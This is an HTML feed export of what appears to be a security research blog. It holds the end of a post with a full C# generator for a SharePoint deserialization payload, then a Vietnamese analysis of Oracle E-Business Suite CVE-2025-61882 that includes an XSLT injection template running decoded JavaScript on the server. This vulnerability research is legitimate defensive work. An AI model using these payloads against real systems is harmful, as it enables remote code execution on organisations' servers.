data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/8ccaa1a5-f79a-4fe1-b1e7-04554078b610_898x688.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:688,&quot;width&quot;:898,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:&quot;center&quot;,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!as48!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8ccaa1a5-f79a-4fe1-b1e7-04554078b610_898x688.png 424w, https://substackcdn.com/image/fetch/$s_!as48!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8ccaa1a5-f79a-4fe1-b1e7-04554078b610_898x688.png 848w, https://substackcdn.com/image/fetch/$s_!as48!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8ccaa1a5-f79a-4fe1-b1e7-04554078b610_898x688.png 1272w, https://substackcdn.com/image/fetch/$s_!as48!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8ccaa1a5-f79a-4fe1-b1e7-04554078b610_898x688.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p></p><p>POC:</p><pre><code><code>using System;
using System.Data;
using System.IO;
using System.IO.Compression;
using System.Runtime.Serialization;
using System.Runtime.Serialization.Formatters.Binary;

class Program
{
    static void Main(string[] args)
    {
        if (args.Length &lt; 2)
        {
            Console.Error.WriteLine("Usage: poc.exe &lt;schemaLocation_url&gt; &lt;losformatter_file&gt;");
            Console.Error.WriteLine("schemaLocation_url: URL to evil.xsd on the SharePoint server");
            Console.Error.WriteLine("losformatter_file: path to file containing LosFormatter base64 payload");
            Console.Error.WriteLine();
            Console.Error.WriteLine("Example:");
            Console.Error.WriteLine("poc.exe http://splab/evil.xsd payload.b64");
            return;
        }

        string schemaLocationUrl = args[0];
        string losFormatterPayload = System.IO.File.ReadAllText(args[1]).Trim();

        string xmlSchema = @"&lt;xs:schema xmlns="""" xmlns:xs=""http://www.w3.org/2001/XMLSchema"" xmlns:msdata=""urn:schemas-microsoft-com:xml-msdata"" id=""ds""&gt;
  &lt;xs:include schemaLocation=""" + schemaLocationUrl + @"""/&gt;
  &lt;xs:element name=""ds"" msdata:IsDataSet=""true"" msdata:UseCurrentLocale=""true""&gt;
    &lt;xs:complexType&gt;
      &lt;xs:choice minOccurs=""0"" maxOccurs=""unbounded""&gt;
        &lt;xs:element ref=""test""/&gt;
      &lt;/xs:choice&gt;
    &lt;/xs:complexType&gt;
  &lt;/xs:element&gt;
&lt;/xs:schema&gt;";

        string xmlDiffGram = @"&lt;diffgr:diffgram xmlns:msdata=""urn:schemas-microsoft-com:xml-msdata"" xmlns:diffgr=""urn:schemas-microsoft-com:xml-diffgram-v1""&gt;
  &lt;ds&gt;
    &lt;test diffgr:id=""test1"" msdata:rowOrder=""0"" diffgr:hasChanges=""inserted""&gt;
      &lt;pwn xmlns:xsi=""http://www.w3.org/2001/XMLSchema-instance"" xmlns:xsd=""http://www.w3.org/2001/XMLSchema""&gt;
        &lt;ExpandedWrapperOfLosFormatterObjectDataProvider&gt;
          &lt;ExpandedElement/&gt;
          &lt;ProjectedProperty0&gt;
            &lt;MethodName&gt;Deserialize&lt;/MethodName&gt;
            &lt;MethodParameters&gt;
              &lt;anyType xsi:type=""xsd:string""&gt;" + losFormatterPayload + @"&lt;/anyType&gt;
            &lt;/MethodParameters&gt;
            &lt;ObjectInstance xsi:type=""LosFormatter""&gt;&lt;/ObjectInstance&gt;
          &lt;/ProjectedProperty0&gt;
        &lt;/ExpandedWrapperOfLosFormatterObjectDataProvider&gt;
      &lt;/pwn&gt;
    &lt;/test&gt;
  &lt;/ds&gt;
&lt;/diffgr:diffgram&gt;";

        SerializationInfo info = new SerializationInfo(typeof(DataTable), new FormatterConverter());
        info.AddValue("DataTable.RemotingVersion", new Version(2, 0));
        info.AddValue("XmlSchema", xmlSchema);
        info.AddValue("XmlDiffGram", xmlDiffGram);

        BinaryFormatter bf = new BinaryFormatter();
        using (MemoryStream ms = new MemoryStream())
        {
            bf.Serialize(ms, CreateSerializableWrapper(info));

            byte[] serialized = ms.ToArray();

            using (MemoryStream compressed = new MemoryStream())
            {
                using (GZipStream gz = new GZipStream(compressed, CompressionMode.Compress, true))
                {
                    gz.Write(serialized, 0, serialized.Length);
                }
                string result = Convert.ToBase64String(compressed.ToArray());
                Console.Write(result);
            }
        }
    }

    static object CreateSerializableWrapper(SerializationInfo info)
    {
        return new DataTableSurrogate(info);
    }
}

[Serializable]
public class DataTableSurrogate : ISerializable
{
    private SerializationInfo _info;

    public DataTableSurrogate(SerializationInfo info)
    {
        _info = info;
    }

    protected DataTableSurrogate(SerializationInfo info, StreamingContext context)
    {
        _info = info;
    }

    public void GetObjectData(SerializationInfo info, StreamingContext context)
    {
        foreach (SerializationEntry entry in _info)
        {
            info.AddValue(entry.Name, entry.Value);
        }
        info.SetType(typeof(DataTable));
    }
}</code></code></pre>]]></content:encoded></item><item><title><![CDATA[Oracle E-Business Suite Authentication Bypass & RCE (CVE-2025-61882)]]></title><description><![CDATA[Introduction]]></description><link>https://vred.mbbank.com.vn/p/oracle-e-business-suite-authentication</link><guid isPermaLink="false">https://vred.mbbank.com.vn/p/oracle-e-business-suite-authentication</guid><dc:creator><![CDATA[MB VRED]]></dc:creator><pubDate>Tue, 20 Jan 2026 07:00:59 GMT</pubDate><enclosure url="https://substackcdn.com/image/fetch/$s_!aUrb!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fec8bb2e9-7a75-43b9-899f-9569666a12ee_908x733.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h1><strong>Introduction</strong></h1><p>H&#7891;i th&#225;ng 7 n&#259;m ngo&#225;i, h&#224;ng lo&#7841;t t&#7893; ch&#7913;c l&#7899;n tr&#234;n th&#7871; gi&#7899;i b&#7883; &#7843;nh h&#432;&#7903;ng b&#7903;i m&#7897;t l&#7895; h&#7893;ng 0day tr&#234;n Oracle E-Business Suite (EBS), sau &#273;&#243; l&#7895; h&#7893;ng n&#224;y &#273;&#227; &#273;&#432;&#7907;c &#273;&#7883;nh danh: CVE-2025-61882. V&#224; ngay sau khi th&#244;ng tin n&#224;y tr&#224;n lan kh&#7855;p n&#417;i, PoC &#273;&#432;&#7907;c cho l&#224; c&#243; li&#234;n quan t&#7899;i chi&#7871;n d&#7883;ch n&#224;y &#273;&#227; &#273;&#432;&#7907;c leak tr&#234;n m&#7841;ng. M&#7863;c d&#249; exploit n&#224;y c&#7921;c k&#236; c&#244;ng phu, chain 5 bug nh&#7887; l&#7867; l&#7841;i &#273;&#7875; c&#243; &#273;&#432;&#7907;c preauth RCE, tuy nhi&#234;n h&#432;&#7899;ng khai th&#225;c n&#224;y l&#7841;i c&#243; m&#7897;t h&#7841;n ch&#7871;, y&#234;u c&#7847;u victim ph&#7843;i c&#243; k&#7871;t n&#7889;i outbound &#273;&#7875; c&#243; th&#7875; exploit th&#224;nh c&#244;ng. Trong th&#7921;c t&#7871; th&#236; &#273;i&#7873;u n&#224;y g&#7847;n nh&#432; l&#224; b&#7845;t kh&#7843; thi, server Oracle EBS th&#432;&#7901;ng ch&#7881; ho&#7841;t &#273;&#7897;ng trong ph&#7841;m vi n&#7897;i b&#7897; c&#7911;a t&#7893; ch&#7913;c, v&#7899;i c&#225;c network policy ch&#7863;t ch&#7869;, g&#7847;n nh&#432; vi&#7879;c &#273;&#7875; m&#7903; internet cho server EBS l&#224; kh&#244;ng th&#7875; x&#7843;y ra trong th&#7921;c t&#7871;! V&#224; trong th&#7921;c t&#7871; th&#236; r&#7845;t nhi&#7873;u t&#7893; ch&#7913;c &#273;&#227; b&#7883; d&#237;nh ransomware th&#244;ng qua bug n&#224;y, do &#273;&#243; 0day b&#7883; l&#7907;i d&#7909;ng kh&#244;ng h&#7873; li&#234;n quan t&#7899;i PoC m&#7899;i b&#7883; leak.</p><p>Sau 4 th&#225;ng ch&#7901; &#273;&#7907;i m&#224; v&#7851;n ch&#432;a c&#243; b&#224;i vi&#7871;t n&#224;o ph&#226;n t&#237;ch chi ti&#7871;t h&#417;n v&#7873; bug n&#224;y, ch&#250;ng t&#244;i quy&#7871;t &#273;&#7883;nh thu th&#7853;p l&#7841;i c&#225;c th&#244;ng tin, setup lab, reproduce bug v&#224; vi&#7871;t chi ti&#7871;t h&#417;n v&#7873; bug n&#224;y.</p><p>Tr&#432;&#7899;c khi b&#7855;t &#273;&#7847;u, khuy&#7871;n kh&#237;ch b&#7841;n &#273;&#7885;c xem qua tr&#432;&#7899;c c&#225;c b&#224;i ph&#226;n t&#237;ch sau &#273;&#7875; hi&#7875;u r&#245; h&#417;n v&#7873; l&#7895; h&#7893;ng:</p><ul><li><p><a href="https://cloud.google.com/blog/topics/threat-intelligence/oracle-ebusiness-suite-zero-day-exploitation">Oracle E-Business Suite Zero-Day Exploited in Widespread Extortion Campaign | Google Cloud Blog</a></p></li><li><p><a href="https://www.crowdstrike.com/en-us/blog/crowdstrike-identifies-campaign-targeting-oracle-e-business-suite-zero-day-CVE-2025-61882/">CrowdStrike Identifies Campaign Targeting Oracle E-Business Suite via Zero-Day Vulnerability Tracked as CVE-2025-61882</a></p></li><li><p><a href="https://labs.watchtowr.com/well-well-well-its-another-day-oracle-e-business-suite-pre-auth-rce-chain-cve-2025-61882well-well-well-its-another-day-oracle-e-business-suite-pre-auth-rce-chain-cve-2025-61882/">Well, Well, Well. It&#8217;s Another Day. (Oracle E-Business Suite Pre-Auth RCE Chain - CVE-2025-61882)</a></p></li></ul><h1><strong>Analysis</strong></h1><h2><strong>1. Post Auth XLST Injection lead to RCE</strong></h2><p>Ph&#7847;n n&#224;y &#273;&#227; &#273;&#432;&#7907;c n&#234;u kh&#225; r&#245; t&#7841;i b&#224;i ph&#226;n t&#237;ch c&#7911;a <a href="https://cloud.google.com/blog/topics/threat-intelligence/oracle-ebusiness-suite-zero-day-exploitation">Google Mandiant</a>:</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!aUrb!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fec8bb2e9-7a75-43b9-899f-9569666a12ee_908x733.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!aUrb!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fec8bb2e9-7a75-43b9-899f-9569666a12ee_908x733.png 424w, https://substackcdn.com/image/fetch/$s_!aUrb!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fec8bb2e9-7a75-43b9-899f-9569666a12ee_908x733.png 848w, https://substackcdn.com/image/fetch/$s_!aUrb!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fec8bb2e9-7a75-43b9-899f-9569666a12ee_908x733.png 1272w, https://substackcdn.com/image/fetch/$s_!aUrb!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fec8bb2e9-7a75-43b9-899f-9569666a12ee_908x733.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!aUrb!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fec8bb2e9-7a75-43b9-899f-9569666a12ee_908x733.png" width="908" height="733" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/ec8bb2e9-7a75-43b9-899f-9569666a12ee_908x733.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:733,&quot;width&quot;:908,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:95857,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:false,&quot;topImage&quot;:true,&quot;internalRedirect&quot;:&quot;https://vred.mbbank.com.vn/i/184744845?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fec8bb2e9-7a75-43b9-899f-9569666a12ee_908x733.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!aUrb!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fec8bb2e9-7a75-43b9-899f-9569666a12ee_908x733.png 424w, https://substackcdn.com/image/fetch/$s_!aUrb!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fec8bb2e9-7a75-43b9-899f-9569666a12ee_908x733.png 848w, https://substackcdn.com/image/fetch/$s_!aUrb!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fec8bb2e9-7a75-43b9-899f-9569666a12ee_908x733.png 1272w, https://substackcdn.com/image/fetch/$s_!aUrb!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fec8bb2e9-7a75-43b9-899f-9569666a12ee_908x733.png 1456w" sizes="100vw" fetchpriority="high"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>Attacker c&#243; th&#7875; s&#7917; d&#7909;ng ch&#7913;c n&#259;ng <strong>XDO Template Manager</strong> &#273;&#7875; RCE, l&#7907;i d&#7909;ng ch&#7913;c n&#259;ng Preview template &#273;&#7875; trigger XSLT injection.</p><p>&#272;&#7875; s&#7917; d&#7909;ng ch&#7913;c n&#259;ng tr&#234;n, ta c&#7847;n truy c&#7853;p endpoint <code>/OA_HTML/RF.jsp?function_id=XDO_TEMPLATES</code></p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!a_-G!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7ddf0520-96ed-4c53-a6a7-e8dbfe572306_1907x646.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!a_-G!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7ddf0520-96ed-4c53-a6a7-e8dbfe572306_1907x646.png 424w, https://substackcdn.com/image/fetch/$s_!a_-G!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7ddf0520-96ed-4c53-a6a7-e8dbfe572306_1907x646.png 848w, https://substackcdn.com/image/fetch/$s_!a_-G!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7ddf0520-96ed-4c53-a6a7-e8dbfe572306_1907x646.png 1272w, https://substackcdn.com/image/fetch/$s_!a_-G!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7ddf0520-96ed-4c53-a6a7-e8dbfe572306_1907x646.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!a_-G!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7ddf0520-96ed-4c53-a6a7-e8dbfe572306_1907x646.png" width="1456" height="493" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/7ddf0520-96ed-4c53-a6a7-e8dbfe572306_1907x646.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:493,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:&quot;center&quot;,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!a_-G!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7ddf0520-96ed-4c53-a6a7-e8dbfe572306_1907x646.png 424w, https://substackcdn.com/image/fetch/$s_!a_-G!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7ddf0520-96ed-4c53-a6a7-e8dbfe572306_1907x646.png 848w, https://substackcdn.com/image/fetch/$s_!a_-G!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7ddf0520-96ed-4c53-a6a7-e8dbfe572306_1907x646.png 1272w, https://substackcdn.com/image/fetch/$s_!a_-G!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7ddf0520-96ed-4c53-a6a7-e8dbfe572306_1907x646.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>T&#7841;o m&#7897;t template m&#7899;i nh&#432; sau:</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!l70A!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5a15f9ca-3239-4354-8032-3e8a406fbdbf_1912x762.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!l70A!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5a15f9ca-3239-4354-8032-3e8a406fbdbf_1912x762.png 424w, https://substackcdn.com/image/fetch/$s_!l70A!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5a15f9ca-3239-4354-8032-3e8a406fbdbf_1912x762.png 848w, https://substackcdn.com/image/fetch/$s_!l70A!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5a15f9ca-3239-4354-8032-3e8a406fbdbf_1912x762.png 1272w, https://substackcdn.com/image/fetch/$s_!l70A!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5a15f9ca-3239-4354-8032-3e8a406fbdbf_1912x762.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!l70A!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5a15f9ca-3239-4354-8032-3e8a406fbdbf_1912x762.png" width="1456" height="580" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/5a15f9ca-3239-4354-8032-3e8a406fbdbf_1912x762.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:580,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:&quot;center&quot;,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!l70A!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5a15f9ca-3239-4354-8032-3e8a406fbdbf_1912x762.png 424w, https://substackcdn.com/image/fetch/$s_!l70A!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5a15f9ca-3239-4354-8032-3e8a406fbdbf_1912x762.png 848w, https://substackcdn.com/image/fetch/$s_!l70A!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5a15f9ca-3239-4354-8032-3e8a406fbdbf_1912x762.png 1272w, https://substackcdn.com/image/fetch/$s_!l70A!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5a15f9ca-3239-4354-8032-3e8a406fbdbf_1912x762.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>v&#7899;i file test.xsl:</p><pre><code><code>&lt;?xml version="1.0" encoding="UTF-8"?&gt;
&lt;xsl:stylesheet version="1.0"
    xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
    xmlns:b64="http://www.oracle.com/XSL/Transform/java/sun.misc.BASE64Decoder"
    xmlns:jsm="http://www.oracle.com/XSL/Transform/java/javax.script.ScriptEngineManager"
    xmlns:eng="http://www.oracle.com/XSL/Transform/java/javax.script.ScriptEngine"
    xmlns:str="http://www.oracle.com/XSL/Transform/java/java.lang.String"&gt;

  &lt;xsl:template match="/"&gt;
    &lt;xsl:variable name="bs" select="b64:decodeBuffer(b64:new(), 'BASE64_PAYLOAD')" /&gt;
    &lt;xsl:variable name="js" select="str:new($bs)" /&gt;
    &lt;xsl:variable name="m" select="jsm:new()" /&gt;
    &lt;xsl:variable name="e" select="jsm:getEngineByName($m, 'js')" /&gt;
    &lt;xsl:variable name="result" select="eng:eval($e, $js)" /&gt;
    &lt;xsl:value-of select="$result" /&gt;
  &lt;/xsl:template&gt;

&lt;/xsl:stylesheet&gt;
